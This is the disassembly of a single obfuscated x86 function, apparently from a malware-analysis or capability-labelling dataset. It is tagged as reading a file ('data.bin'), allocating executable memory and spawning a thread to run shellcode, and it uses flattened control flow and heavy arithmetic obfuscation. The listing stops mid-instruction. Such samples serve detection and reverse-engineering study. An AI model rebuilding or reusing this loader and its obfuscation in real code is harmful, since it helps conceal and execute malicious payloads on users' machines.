Function at 0x10008b20
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x50
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x4c], eax
sub esp, 0x1c
movaps xmm0, xmmword [section..rdata]
movups xmmword [esp + 4], xmm0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x80
mov dword [esp], str.data.bin
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x28], eax
mov dword [esp + 0x40], eax
mov edi, 0xc20bf5e0
jmp 0x10008b80
mov edi, 0xb8300f85
nop word cs:[eax + eax]
cmp edi, 0x12544d7b
jg 0x10008be0
cmp edi, 0xb3df0bbf
jle 0x10008c40
cmp edi, 0xf31014bf
jle 0x1000b013
cmp edi, 0x7627a78
jle 0x1000d3c2
cmp edi, 0xf592941
jle 0x1001128b
cmp edi, 0xf592942
je 0x1001796e
cmp edi, 0x11ad21a4
je 0x100181c4
cmp edi, 0x11cc8572
jne 0x10008b80
mov edi, 0xf464e1a4
jmp 0x10008b80
cmp edi, 0x534cdb79
jg 0x100097e0
cmp edi, 0x3141c8a5
jg 0x1000b04d
cmp edi, 0x19c3b03e
jle 0x1000e57f
cmp edi, 0x20bc5b25
jle 0x10011cba
cmp edi, 0x20bc5b26
je 0x100181ce
cmp edi, 0x2e812187
jne 0x10025ce9
cmp byte [esp + 0x38], 0
mov edi, 0x95649687
mov eax, 0x9fd3c610
cmovne edi, eax
jmp 0x10008b80
cmp edi, 0x9df8e723
jg 0x1000c908
cmp edi, 0x90c84efe
jg 0x1000ef6b
cmp edi, 0x8d74973b
jg 0x10011cff
cmp edi, 0x879e040c
je 0x100181e5
cmp edi, 0x899dc6c8
jne 0x10008b80
mov eax, dword [0x10047900]
lea ebp, [eax + 1]
imul ebp, eax
mov eax, ebp
not eax
mov ecx, eax
mov ebx, eax
mov dword [esp + 8], eax
and ecx, ebp
mov eax, ebp
mov edi, ebp
mov edx, ebp
mov dword [esp + 0x10], ebp
and edx, 0x4b5ebf93
mov esi, ebx
and esi, 0xb4a1406c
or esi, edx
mov edx, ecx
not edx
or eax, edx
and edx, 0x4b5ebf93
and ecx, 0xb4a1406c
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
and ecx, 0x8c892501
and eax, 0x7376dafe
or eax, ecx
xor eax, 0x8c892501
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x14b934b4
mov esi, eax
xor esi, 0xeb46cb4b
and esi, ecx
or esi, edx
and ecx, 0xc8907ad
mov ebx, eax
and ebx, 0xf376f852
or ebx, ecx
mov edx, ebp
xor esi, 0xedc3c575
xor ebx, 0xa0c0993
and eax, 0x6850e3e
or eax, ebx
not eax
or eax, esi
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x1180482
and eax, 0x24a04104
or eax, esi
xor eax, 0x24a04104
and ecx, 0xda47ba79
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x9f45c9fa
and eax, 0x60ba3605
or eax, ecx
mov ebp, eax
mov esi, eax
xor ebp, 0x60ba3605
mov ecx, dword [esp + 8]
mov eax, ecx
and eax, 0x6850e3e
and edi, 0xf97af1c1
or edi, eax
not edi
mov eax, ecx
and eax, 0x78bea5fc
and edx, 0x87415a03
or edx, eax
xor edx, 0x87415a03
or edx, edi
mov dword [esp + 0x1c], edx
mov eax, ebp
or eax, 0x6b880130
mov edx, esi
xor esi, 0x14040800
and eax, 0x6b98a3ff
and esi, 0x14240c00
or esi, eax
mov eax, edx
mov dword [esp], edx
xor eax, 0x748e98ca
and eax, ebp
mov ebx, eax
not ebx
mov ecx, ebp
or ecx, ebx
and ebx, 0x6b98a3ff
and eax, 0x94675c00
or eax, ebx
xor eax, esi
not ecx
or ecx, eax
not eax
and eax, 0xebcb5130
and ecx, 0x1434aecf
or ecx, eax
mov edi, ecx
not edi
mov eax, edi
and eax, 0x55a86063
mov esi, ecx
and esi, 0xaa579f9c
or esi, eax
xor esi, 0x5b89cd68
mov eax, esi
xor eax, edi
and eax, esi
mov dword [esp + 0xc], eax
xor edx, 0xe01800a
and edx, 0xe01a00a
and ebp, 0x200d01
or ebp, edx
mov dword [esp + 4], ebp
mov edx, dword [esp + 0x1c]
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0xe21ad0b
mov esi, edx
and esi, 0xf1de52f4
or esi, eax
and edi, edx
mov dword [esp + 0x14], edi
mov eax, edx
not esi
or esi, ebx
mov dword [esp + 0x24], esi
and eax, 0x1c827ddf
mov edx, ecx
xor edx, ebx
and edx, ecx
mov dword [esp + 0x1c], edx
and ecx, ebx
mov dword [esp + 0x20], ecx
mov esi, ebx
and esi, 0xe37d8220
or esi, eax
mov ebx, esi
xor ebx, 0xe37d8220
xor esi, 0xc023d9e
and esi, 0xcd5f3fbe
mov eax, ebx
and eax, 0x32a0c041
or eax, esi
xor eax, 0x3c816d4a
and ebx, 0xf1de52f4
or ebx, eax
mov ecx, dword [esp + 0xc]
mov ebp, ecx
not ebp
mov eax, ebp
and eax, 0xea8e0099
mov edx, ecx
xor edx, 0xea8e0099
and edx, ecx
or edx, eax
mov eax, dword [esp + 4]
xor eax, 0x200d01
mov dword [esp + 4], eax
lea ecx, [eax - 0xe21ad0c]
mov eax, ecx
xor eax, 0x1571ff66
and eax, ecx
mov esi, eax
not esi
mov edi, esi
and edi, 0x16707f04
and eax, 0xe88f801b
or eax, edi
mov edi, dword [esp + 4]
or edi, 0xfbde52fd
or esi, edi
and edi, 0x16707f84
and dword [esp], 0x18002
add dword [esp], edi
mov edi, dword [esp]
xor edi, eax
not esi
or esi, edi
xor esi, edx
mov edx, dword [esp + 0xc]
mov eax, edx
and eax, 0x975256d9
and ebp, 0x68ada926
or ebp, eax
mov eax, ecx
not eax
or edx, eax
and eax, 0x6000409
and ecx, 0x68ada926
or ecx, eax
xor ecx, ebp
not edx
or edx, ecx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x67286842
and esi, 0x98d797bd
or esi, ecx
xor esi, edx
or eax, edx
xor esi, 0x98d797bd
not eax
or eax, esi
mov edx, dword [esp + 0x24]
mov ecx, edx
xor ecx, edx
not ecx
and ecx, ebx
xor ecx, edx
or edx, ebx
not edx
or ecx, edx
mov edx, ecx
not edx
or edx, eax
not eax
or eax, ecx
not edx
not eax
or eax, edx
mov esi, dword [esp + 0x20]
or esi, dword [esp + 0x14]
mov edi, dword [esp + 0x1c]
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0x8345750
and edi, 0xf7cba8af
or edi, edx
mov edx, esi
not edx
or ecx, edx
and edx, 0x8345750
and esi, 0xf7cba8af
or esi, edx
xor esi, edi
not ecx
or ecx, esi
mov edx, ecx
not edx
and edx, 0x39b1024b
and ecx, 0xc64efdb4
or ecx, edx
mov edx, ecx
xor edx, 0x39b1024b
xor ecx, 0x46446c94
mov esi, eax
xor esi, edx
and esi, eax
and edx, 0xb0ba9329
and ecx, 0x4f456cd6
or ecx, edx
xor ecx, eax
xor ecx, 0xb0ba9329
or ecx, esi
mov esi, ecx
not esi
mov edx, esi
and edx, 0xdf8ca3f6
mov eax, ecx
and eax, 0x20735c09
or eax, edx
mov edx, eax
xor edx, 0x400409
xor eax, 0xd3802244
or eax, 0x2c3fd1b2
mov edi, eax
and edi, 0x5da7a8a2
and edx, 0x8240064d
or edx, edi
mov edi, ecx
xor edi, 0xd3c02e4d
and edi, ecx
mov ebx, edi
not ebx
or eax, ebx
and ebx, 0x5da7a8a2
and edi, 0xa258575d
or edi, ebx
xor edi, edx
not eax
or eax, edi
mov edx, eax
xor edx, 0x20134102
xor eax, 0x10400448
and edx, 0xe3936b07
and eax, 0x1c6c94f8
or eax, edx
mov edx, eax
xor edx, 0x1ae99ac7
xor eax, 0x1c6c94f8
and eax, edx
or esi, 0x8812e180
and ecx, 0x6050409
and esi, 0x8892ebb6
or esi, ecx
mov edx, esi
xor edx, 0x8892ebb6
mov ecx, eax
not ecx
xor esi, 0x74491009
and esi, 0xf4cbf029
mov edi, edx
and edi, 0x2040e16
or edi, esi
mov esi, ecx
and esi, 0xf6b49764
mov ebx, eax
and ebx, 0x94b689b
or ebx, esi
mov esi, edi
xor esi, 0xb340fd6
mov ebp, edi
xor ebp, 0x25f664d
and ebp, esi
and edx, 0x1081b
or edx, ebp
xor edx, ebx
mov ebx, eax
and ebx, 0x6cd0bc18
and ecx, 0x932f43e7
or ecx, ebx
xor edi, 0xf4cbf029
or eax, edi
and edi, 0x480ac18
and esi, 0x932f43e7
or esi, edi
mov edi, dword [esp + 0x10]
mov ebx, edi
xor ebx, 0xcb343593
and ebx, edi
xor esi, ecx
not eax
or eax, esi
mov esi, edx
xor esi, 0xffdffeff
mov ecx, esi
and ecx, 0x4fb38961
and edx, 0xb04c769e
or edx, ecx
xor edx, eax
xor edx, 0xb04c769e
or esi, eax
not esi
or esi, edx
mov eax, dword [esp + 8]
and eax, 0x61f83fbd
and edi, 0x9e07c042
or edi, eax
mov eax, edi
xor eax, 0x82040002
xor edi, 0x41303591
mov ecx, edi
or ecx, 0x240b400c
mov edx, ebx
not edx
and ecx, 0x2c1b409c
and eax, 0xc3243503
or eax, ecx
or edi, edx
and edx, 0x2c1b409c
and ebx, 0xd3e4bf63
or ebx, edx
xor ebx, eax
not edi
or edi, ebx
not ebx
and ebx, 0x34cbca6c
and edi, 0xcb343593
or edi, ebx
mov eax, edi
not eax
mov edx, edi
xor edx, 0xde5dea9e
and edx, eax
not edx
and edx, 0xde5dea9e
mov ecx, edi
and ecx, 0x21a21561
or ecx, edx
and edi, 0x267be44a
mov ebp, eax
and ebp, 0xd9841bb5
or ebp, edi
xor ebp, 0xd9841bb5
or ebp, eax
not ebp
or ebp, ecx
mov ebx, esi
mov edx, esi
not edx
mov eax, esi
mov dword [esp + 4], esi
and eax, 0x2e11466d
mov ecx, edx
and ecx, 0xd1eeb992
or ecx, eax
mov eax, ecx
xor eax, 0x50641002
xor ecx, 0x104424
and ecx, 0x10e4a4
and eax, 0x7c641203
or eax, ecx
mov dword [esp], eax
mov eax, edx
mov ecx, edx
mov dword [esp + 8], edx
and eax, 0x7c74f6a7
and ebx, 0x838b0958
or ebx, eax
mov esi, ebp
not esi
mov eax, ebp
and eax, 0x350fea92
mov edx, esi
and edx, 0xcaf0156d
or edx, eax
mov edi, edx
xor edi, 0xcaf0156d
xor edx, 0x200b4092
and edx, 0x22bb45ba
mov eax, edi
and eax, 0xdd44ba45
or eax, edx
xor eax, 0xa1304ce2
and edi, 0x838b0958
or edi, eax
mov dword [esp + 0x10], edi
mov eax, esi
and eax, 0xf2a16c81
and ebp, 0xd5e937e
or ebp, eax
xor ebp, 0x8ed59a26
xor esi, ebp
and esi, ebp
mov dword [esp + 0xc], esi
mov esi, dword [esp]
mov ebp, esi
xor ebp, 0x7c641203
mov eax, esi
xor eax, 0x8199a540
and eax, 0xd19db541
xor esi, 0x64440004
and esi, ebp
and ebp, 0x2c6042a6
or ebp, eax
mov edx, ebp
xor edx, 0x2e624abe
mov eax, ebp
xor eax, 0x49bfae46
and eax, edx
or esi, eax
mov dword [esp], esi
not ebx
or ebx, ecx
mov eax, ebx
not eax
mov esi, eax
or esi, 0x2d0c0d8
and esi, 0x82f0d2d8
mov ecx, ebx
and ecx, 0x18020907
or ecx, esi
mov edi, ebx
or edi, 0x80201200
and edi, 0x82f0d2d8
mov esi, eax
and esi, 0x650d2420
or esi, edi
xor esi, ecx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, dword [esp]
xor ecx, esi
xor ebp, 0xd19db541
mov esi, ebp
and esi, 0x3000b006
and edx, 0xccff46b9
or edx, esi
or ebp, eax
and eax, 0x3300b946
and ebx, 0xccff46b9
or ebx, eax
xor ebx, edx
not ebp
or ebp, ebx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x50768a8b
and ecx, 0xaf897574
or ecx, edx
mov edx, ebp
not edx
or ebx, ebp
and ebp, 0x50768a8b
and edx, 0xaf897574
or edx, ebp
xor edx, ecx
mov eax, dword [esp + 0x10]
mov ecx, eax
not ecx
not ebx
or ebx, edx
mov edx, eax
and edx, 0x172e874
xor eax, 0x312c8e49
and eax, ecx
and ecx, 0xfe8d178b
or ecx, edx
mov ebp, ecx
xor ebp, 0x526034
or ebp, 0x312c8e49
mov dword [esp], ecx
xor ecx, 0x4e000180
mov edx, ebp
and edx, 0x91adf053
and ecx, 0x4e5201a4
or ecx, edx
mov edx, eax
not edx
or ebp, edx
and edx, 0x91adf053
and eax, 0x6e520fac
or eax, edx
xor eax, ecx
not ebp
or ebp, eax
mov esi, dword [esp + 0xc]
mov edx, esi
xor edx, 0xced371b6
mov edi, edx
and edx, esi
not esi
and edi, esi
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0xfdfdcc41
and edi, 0x20233be
or edi, eax
mov eax, edx
not eax
or ecx, eax
and eax, 0xfdfdcc41
and edx, 0x20233be
or edx, eax
xor edx, edi
not ecx
or ecx, edx
mov eax, dword [esp]
xor eax, 0xfe8d178b
xor ecx, ebp
or esi, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x14914f12
and ecx, 0xeb6eb0ed
or ecx, eax
mov eax, esi
not eax
or edx, esi
and esi, 0x14914f12
and eax, 0xeb6eb0ed
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0xa29440
mov edi, ebx
and edi, 0x910900bc
or edi, eax
mov esi, edi
xor esi, 0x81080080
xor edi, 0x24c02f02
or ecx, 0x1081043c
and edi, 0x34c12f3e
and esi, 0x812a90c0
or esi, edi
mov edi, edx
not edi
and ecx, 0x34c12f3e
and ebx, 0x4a144001
or ebx, ecx
mov eax, edx
or eax, 0x2c142a02
xor ebx, esi
mov ecx, edi
and eax, 0xac15ba9a
and edi, 0x11aa0464
or edi, eax
or ecx, 0x80019098
and ecx, 0xac15ba9a
and edx, 0x42404101
or edx, ecx
xor edx, edi
mov edi, edx
xor edi, edx
not edi
and edi, ebx
xor edi, edx
mov edx, dword [esp + 8]
mov eax, edx
and eax, 0xc2852a7d
mov esi, dword [esp + 4]
mov ecx, esi
and ecx, 0x3d7ad582
or ecx, eax
mov eax, ecx
xor eax, 0x20600500
xor ecx, 0x2000804
or edx, 0xa1a4804
or ecx, 0x5580128a
and ecx, 0x5f9a5a8e
and eax, 0x20612540
or eax, ecx
and edx, 0x5f9a5a8e
mov ecx, esi
and ecx, 0x80048031
or ecx, edx
xor ecx, eax
mov esi, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0x30d8d2d7
mov eax, edi
xor eax, 0x30d8d2d7
and eax, edi
or eax, ecx
xor eax, esi
mov ecx, eax
xor ecx, 0xe55c406c
xor eax, 0x1a822f92
and edx, 0x6c1be30b
and edi, 0x93e41cf4
or edi, edx
mov edx, edi
xor edx, 0x13c40cb0
xor edi, 0x6c1be30b
mov esi, ecx
and esi, 0xe021d045
and eax, 0x1fde2fba
or eax, esi
or ecx, edi
and edi, 0xe021d045
and edx, 0x1fde2fba
or edx, edi
xor edx, eax
not ecx
or ecx, edx
xor ecx, 0xffffffff
sete dh
setne ch
cmp dword [0x10047904], 0xa
setge ah
setl dl
mov cl, dl
xor cl, ch
mov al, cl
and al, ch
and cl, dl
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov ebx, edx
or bl, cl
mov al, cl
xor al, ah
and al, cl
xor al, 1
mov bh, al
xor bh, bl
or al, bl
xor al, 1
or al, bh
mov ebx, eax
and al, cl
xor cl, 1
xor bl, 1
and cl, bl
or al, cl
xor al, 1
or al, bl
mov bh, al
mov byte [esp], al
xor bh, 1
mov bl, dh
and bl, ah
and dh, dl
and ah, ch
or ah, dh
or dl, ch
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov ch, bl
xor ch, 1
mov cl, ch
xor cl, ah
xor cl, 1
or cl, ch
mov dh, cl
xor dh, 1
or dl, bl
xor dl, 1
xor ah, bl
and ah, bl
or ah, dl
mov dl, ah
xor dl, 1
mov bl, cl
and bl, dh
mov ch, dl
and ch, ah
xor bl, 1
or bl, dh
xor bl, 1
or bl, cl
xor ch, 1
or ch, ah
xor ch, 1
or ch, dl
xor ch, bl
or dl, cl
xor dl, 1
or dl, ch
mov bl, dl
xor bl, 1
mov ah, al
mov ch, bh
and ah, bh
xor ah, 1
mov dh, bh
xor dh, ah
mov cl, bh
or cl, ah
xor cl, 1
or cl, dh
mov bh, cl
or bh, ch
mov dh, bl
mov byte [esp + 4], bl
and dh, dl
xor bl, dh
xor dh, 1
or dh, dl
xor dh, 1
or dh, bl
mov bl, dh
xor bl, 1
and dh, bl
xor dh, 1
mov al, dh
xor al, bl
or dh, bl
xor dh, 1
or dh, al
mov bl, bh
xor bl, cl
and cl, bl
and bl, bh
xor cl, 1
xor bl, 1
mov al, cl
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov cl, bh
xor cl, ch
and bh, cl
xor cl, 1
or cl, bh
mov al, cl
xor al, 1
mov bh, bl
xor bh, 1
and al, bh
and bl, cl
or bl, al
or bh, cl
xor bl, 1
mov al, bl
xor al, bh
or bl, bh
mov cl, dh
xor cl, 1
xor bl, 1
or bl, al
and cl, dh
xor cl, 1
mov al, cl
xor al, dh
or cl, dh
xor cl, 1
or cl, al
mov dh, cl
xor dh, 1
mov bh, dh
or bh, bl
and dh, bl
xor bl, 1
and cl, bl
or dh, cl
xor dh, 1
or dh, bl
xor bh, 1
xor dh, 1
or dh, bh
or ah, byte [esp]
xor ah, 1
or ah, ch
mov al, ah
xor al, 1
mov cl, ah
and cl, al
xor cl, 1
mov ebx, ecx
or bl, al
xor cl, al
mov ch, byte [esp + 4]
or al, ch
xor bl, 1
or ah, bl
or ch, ah
xor ah, 1
xor ch, 1
or ah, dl
xor ah, 1
or ah, ch
or cl, bl
xor cl, dl
xor al, 1
or al, cl
xor al, 1
mov dl, al
xor dl, ah
xor dl, 1
mov ecx, edx
and cl, ah
or al, ah
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov dl, cl
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov dl, al
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov dl, cl
xor dl, 1
mov eax, edx
and al, cl
xor al, 1
or al, dl
xor al, 1
or al, cl
mov dl, al
xor dl, 1
mov ecx, edx
and cl, al
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
mov al, dh
xor al, 1
mov dl, al
or dl, cl
xor al, cl
or cl, dh
and al, dh
xor al, 1
mov ah, cl
xor ah, al
or al, cl
mov ecx, edx
xor cl, 1
xor al, 1
or al, ah
mov ah, dl
and ah, al
xor al, 1
and cl, al
or cl, ah
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x3bb675d8
mov esi, 0x14c60b94
cmovne edx, esi
test al, 1
mov edi, 0x3bb675d8
jmp 0x100236db
cmp edi, 0x6fc90b37
jg 0x1000d37b
cmp edi, 0x65c5e9f1
jg 0x1000ef99
cmp edi, 0x5996fb16
jg 0x10011d29
cmp edi, 0x534cdb7a
je 0x100181ef
cmp edi, 0x56eb1ada
jne 0x10008b80
mov eax, dword [0x10047900]
lea edx, [eax + 1]
imul edx, eax
mov esi, edx
not esi
mov eax, esi
and eax, 0xd01f3cf
mov edi, edx
and edi, 0xf2fe0c30
or edi, eax
xor edi, 0xf2fe0c30
mov ecx, esi
and ecx, edx
or ecx, edi
mov edi, edx
and edi, 0x5053af6d
mov eax, esi
and eax, 0xafac5092
or eax, edi
xor eax, 0xafac5092
or eax, esi
xor eax, ecx
and ecx, eax
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edi, ecx
and edi, 0x90716f05
and ecx, eax
and eax, 0x6f8e90fa
or eax, edi
xor eax, 0x6f8e90fa
or eax, ecx
mov ecx, eax
xor ecx, 0x8604800a
xor eax, 0x79d94ce5
mov edi, eax
and edi, 0x58ab3f31
and ecx, 0xa754c0ce
or ecx, edi
xor ecx, 0xde8d8c2b
or ecx, eax
mov ebp, ecx
not ebp
and esi, 0x6d81b362
and edx, 0x927e4c9d
or edx, esi
mov esi, edx
xor esi, 0x927e4c9d
xor edx, 0x6d812160
mov eax, esi
and eax, 0x8626b31a
and edx, 0xed996d75
and esi, 0x1266928a
or esi, edx
xor esi, 0x6bbfde6f
or esi, eax
mov edi, esi
mov eax, esi
xor eax, 0x76a4a2e5
and eax, esi
not esi
or edi, 0x895b5d1a
mov edx, eax
not edx
mov ebx, edi
and ebx, 0xbde2ce1c
and esi, 0x420420e1
or esi, ebx
or edi, edx
and edx, 0xbde2ce1c
and eax, 0x421d31e3
or eax, edx
xor eax, esi
not edi
or edi, eax
mov esi, edi
xor esi, 0x895b5d1a
mov ebx, edi
xor ebx, 0x76a4a2e5
xor edi, 0xcc64c62b
and edi, esi
mov edx, esi
or edx, 0xbac064ce
mov eax, ebx
and eax, 0xc85460a9
and esi, 0x37ab9f56
or esi, eax
mov eax, edx
and eax, 0x2bce213a
xor esi, 0xab66cef0
or esi, ebx
and ebx, 0x44319a01
or ebx, eax
mov eax, edi
not eax
or edx, eax
and eax, 0x2bce213a
and edi, 0xd431dec5
or edi, eax
xor edi, ebx
not edx
or edx, edi
mov eax, edx
mov edi, edx
xor edx, 0xbac064ce
mov dword [esp + 4], edx
mov eax, ecx
and eax, 0x9ccd51a6
mov dword [esp], ebp
mov ebx, ebp
and ebx, 0x6332ae59
or ebx, eax
mov eax, ebp
and eax, 0x98cc0124
not ebx
or ebx, ecx
xor edi, 0x453f9b31
mov ebp, edx
mov edx, dword [esp]
and dword [esp + 4], edx
or edx, edi
mov dword [esp], edx
mov edx, edi
and edi, ecx
and ecx, 0x4015082
or ecx, eax
and edx, 0xdd7f99e3
and ebp, 0x2280661c
or ebp, edx
mov eax, ebp
xor eax, 0x2280661c
xor ebp, 0x90391102
and ebp, 0xb0b9310a
mov edx, eax
and edx, 0x4f46cef5
or edx, ebp
xor edx, 0xd38b9f53
and eax, 0x6332ae59
or eax, edx
mov edx, ecx
xor edx, 0x4015082
or edx, 0x6332ae59
xor ecx, 0x88000004
mov ebp, edx
and edx, 0x55ee4da0
and ecx, 0x88011006
or ecx, edx
or ebp, ebx
xor ecx, ebx
mov edx, ecx
xor edx, 0xaa11b25f
xor ecx, 0x55ee4da0
mov ebx, ecx
and ebx, 0x8caf5184
and edx, 0x7350ae7b
or edx, ebx
or ecx, ebp
and ebp, 0x9cef51a6
xor ebp, edx
xor ebp, 0x10400022
not ecx
or ecx, ebp
mov edx, eax
not edx
mov ebx, edx
xor ebx, esi
and ebx, edx
and eax, 0x4236ebc2
and edx, 0xbdc9143d
or edx, eax
xor edx, esi
xor edx, 0xbdc9143d
or edx, ebx
mov eax, edx
not eax
and eax, edx
xor edx, 0x93ccadef
xor ecx, 0x93ccadef
xor eax, edx
mov esi, eax
xor esi, eax
not esi
and esi, ecx
xor esi, eax
mov eax, dword [esp]
not eax
or edi, dword [esp + 4]
or edi, eax
mov eax, edi
not eax
mov ecx, edi
and ecx, 0x60df041f
and eax, 0x9f20fbe0
or eax, ecx
xor eax, 0x9f20fbe0
or eax, edi
mov ebp, esi
not ebp
mov ecx, ebp
and ecx, 0xeaa2cb87
mov ebx, esi
and ebx, 0x155d3478
or ebx, ecx
mov ecx, ebx
xor ecx, 0x155d3478
xor ebx, 0x480d8b
and ebx, ecx
mov edi, ebx
not edi
mov edx, edi
and edx, 0xe865dfc8
and ebx, 0x179a2037
or ebx, edx
mov edx, eax
not edx
or ebp, 0xeaeac60c
or edi, ebp
and ebp, 0xe865dfc8
and esi, 0x15102033
or esi, ebp
mov ebp, edx
or ebp, 0x11041140
xor esi, ebx
mov ebx, eax
or ebx, 0x6a68860c
not edi
or edi, esi
and ebp, 0x7b6c974c
or ecx, eax
and eax, 0x80824000
or eax, ebp
and ebx, 0x7b6c974c
and edx, 0x41128b3
or edx, ebx
xor edx, eax
xor edx, edi
mov eax, edx
not eax
mov esi, eax
and esi, 0xfbf6b003
and edx, 0x4094ffc
or edx, esi
xor edx, ecx
xor edx, 0x4094ffc
or eax, ecx
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x4402fbd
mov esi, eax
and esi, 0xfbbfd042
or esi, ecx
mov ecx, esi
xor ecx, 0x2b810042
xor esi, 0x4402f18
and esi, 0xd47eff18
and ecx, 0x2b8100e7
or ecx, esi
mov esi, ecx
xor esi, 0xea900
xor ecx, 0xa800004
and ecx, 0xdef0561c
and esi, 0x210fa9e3
or esi, ecx
mov ecx, esi
xor ecx, 0x200920e0
xor esi, 0x12100004
and esi, 0x13168907
and ecx, 0xece976f8
or ecx, esi
mov esi, ecx
xor esi, 0x6acfc5e2
xor ecx, 0xece976f8
and ecx, esi
and edx, 0xefd72399
and eax, 0x1028dc66
or eax, edx
mov edx, eax
xor edx, 0x1028dc66
xor eax, 0x60500399
and eax, 0x707093bb
mov esi, edx
and esi, 0x8f8f6c44
or esi, eax
xor esi, 0x9a9df5e
and edx, 0x79d94ce5
or edx, esi
mov eax, edx
not eax
mov edi, ecx
not edi
mov esi, edi
or esi, edx
and edi, 0x96b018a0
and ecx, 0x694fe75f
or ecx, edi
and edx, 0x96b018a0
and eax, 0x694fe75f
or eax, edx
xor eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x2b69b7f1
and eax, 0xd496480e
or eax, ecx
xor eax, esi
xor eax, 0xd496480e
mov ecx, edx
or ecx, esi
not ecx
or ecx, eax
mov ebx, ecx
not ebx
mov edx, ecx
xor edx, 0x8d4acf47
and edx, ecx
mov eax, ecx
mov ebp, ecx
mov dword [esp + 4], ecx
or eax, 0x72b530b8
mov ecx, edx
not ecx
mov esi, eax
and esi, 0xbe829945
mov edi, ebx
and edi, 0x1484602
or edi, esi
or eax, ecx
and ecx, 0xbe829945
and edx, 0x417d66ba
or edx, ecx
xor edx, edi
not eax
or eax, edx
mov esi, eax
xor esi, 0x60011018
xor eax, 0x8840c100
and eax, 0x9af4e1a0
and esi, 0x650b1e5f
or esi, eax
mov dword [esp + 0xc], ebx
mov eax, ebx
and eax, 0x533c44a9
mov ecx, ebp
and ecx, 0xacc3bb56
or ecx, eax
mov eax, ecx
xor eax, ebx
and eax, ecx
mov ecx, eax
mov ebx, eax
mov dword [esp + 8], eax
not ecx
mov dword [esp], ecx
xor eax, 0x8aea3ab8
and eax, ecx
and ebx, 0x7515c547
or ebx, eax
mov edx, esi
xor edx, 0x41080409
mov ebp, edx
or ebp, 0xacc3bb56
mov eax, ebp
xor eax, 0x7515c547
and eax, ebp
mov ecx, eax
not ecx
mov edi, ecx
and edi, 0x52014040
and eax, 0x813c2eb9
or eax, edi
or edx, 0xaeebbbfe
xor esi, 0x140000
or ecx, edx
and edx, 0x5ac35040
and esi, 0x1140401
or esi, edx
xor esi, eax
not ecx
or ecx, esi
mov edx, ebx
xor edx, ebx
not edx
and edx, ecx
xor edx, ebx
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0x53080481
and ebp, 0x2cf7c93e
or ebp, eax
mov eax, dword [esp + 8]
or ebx, eax
and eax, 0xd30836c1
mov ecx, eax
mov eax, dword [esp]
and eax, 0x2cf7c93e
or eax, ecx
xor eax, ebp
not ebx
or ebx, eax
not ebx
or ebx, edx
mov edx, ebx
xor edx, 0xacc3bb56
mov eax, ebx
xor eax, 0x533c44a9
mov ecx, eax
mov edi, eax
mov dword [esp], eax
and ecx, 0x3000d00
mov eax, edx
mov esi, edx
and eax, 0x6410000a
or eax, ecx
mov edx, eax
xor edx, 0x20100008
xor eax, 0x9beffff5
mov ecx, eax
and ecx, 0x55a7aa72
and edx, 0x22100508
or edx, ecx
xor ebx, 0xcbd3b65c
and ebx, esi
mov dword [esp + 8], esi
mov ecx, ebx
not ecx
or eax, ecx
and ecx, 0x55a7aa72
and ebx, 0xaa58558d
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
mov ecx, eax
xor ecx, 0x130e1040
xor eax, 0x40f04aaa
and eax, 0x44f1efbb
and ecx, 0xbb0e1044
or ecx, eax
xor ecx, 0xbb0e1044
mov eax, edi
and eax, 0xc3c50624
mov edi, esi
and edi, 0x3c3af9db
or edi, eax
xor edi, 0x3c3af9db
or edi, ecx
mov edx, dword [esp + 0xc]
mov eax, edx
and eax, 0xe85feae3
mov ebp, dword [esp + 4]
and edx, ebp
and ebp, 0x17a0151c
or ebp, eax
mov eax, ebp
xor eax, 0x13201114
xor ebp, 0xe85feae3
mov ecx, ebp
and ecx, 0x44c506e9
and eax, 0xbb3af916
or eax, ecx
mov ecx, edx
not ecx
or ebp, ecx
and ecx, 0x44c506e9
and edx, 0xbb3af916
or edx, ecx
xor edx, eax
not ebp
or ebp, edx
mov esi, ebp
not esi
mov ecx, ebp
xor ecx, 0x3593d45d
and ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x5214a82f
and ecx, 0xadeb57d0
or ecx, edx
mov edx, esi
or edx, 0x3593d45d
or eax, edx
and edx, 0x5214a82f
mov ebx, ebp
and ebx, 0x88680380
or ebx, edx
xor ebx, ecx
not eax
or eax, ebx
mov ebx, eax
xor ebx, 0xba7393f9
or esi, 0x401ea818
and ebp, 0x7e04304
and esi, 0xc81eacb8
or esi, ebp
xor eax, 0x458c6c06
mov ecx, eax
and ecx, 0x9e59f74f
and ebx, 0x61a608b0
or ebx, ecx
mov ecx, esi
xor ecx, 0xa0
